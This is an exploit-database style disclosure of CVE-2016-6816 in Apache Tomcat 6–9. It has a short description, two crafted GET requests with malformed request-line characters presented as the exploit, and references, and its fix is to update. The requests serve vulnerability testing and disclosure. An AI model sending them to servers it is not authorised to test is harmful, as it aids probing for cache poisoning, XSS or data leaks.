Apache Tomcat 6 / 7 / 8 / 9 Information Disclosure

`# Exploit Title:Apache Tomcat CVE-2016-6816 Security Bypass Vulnerability  
# Date: 4th March 2017  
# Exploit Author: justpentest  
# Vendor Homepage: tomcat.apache.org  
# Version: Apache Tomcat 9.0.0.M1 through 9.0.0.M11, 8.5.0 through 8.5.6,  
8.0.0.RC1 through 8.0.38, 7.0.0 through 7.0.72 and 6.0.0 through 6.0.47  
# Contact: [email protected]  
  
  
Source: http://www.securityfocus.com/bid/94461/info  
  
1) Description:  
Apache Tomcat is prone to a security-bypass vulnerability.  
An attacker can exploit this issue to bypass certain security restrictions  
and perform unauthorized actions. This may lead to further attacks.  
Apache Tomcat 9.0.0.M1 through 9.0.0.M11, 8.5.0 through 8.5.6, 8.0.0.RC1  
through 8.0.38, 7.0.0 through 7.0.72 and 6.0.0 through 6.0.47 are  
vulnerable.  
This could be exploited, in conjunction with a proxy that also permitted  
the invalid characters but with a different interpretation, to inject data  
into the HTTP response. By manipulating the HTTP response the attacker  
could poison a web-cache, perform an XSS attack and/or obtain sensitive  
information from requests other then their own.  
  
http://www.securityfocus.com/bid/94461/discuss  
2) Exploit:  
  
GET /?{{%25}}cake\=1 HTTP/1.1  
Host: justpentest.com  
Accept: */*  
Accept-Language: en  
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64;  
Trident/5.0)  
Connection: close  
Cookie:  
NSC_MSN-IBNQ-VX-mcwtfswfs=ffffffff091c1daaaa525d5f4f58455e445a4a488888  
  
OR  
  
GET  
/?a'a%5c'b%22c%3e%3f%3e%25%7d%7d%25%25%3ec%3c[[%3f$%7b%7b%25%7d%7dcake%5c=1  
HTTP/1.1  
  
Response will be Apache tomcat front page something like  
https://en.wikipedia.org/wiki/File:Apache-tomcat-frontpage-epiphany-browser.jpg  
  
3) Refrences:  
https://nvd.nist.gov/vuln/detail/CVE-2016-6816  
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-6816  
  
4) Solution:  
As usual update ;)  
  
`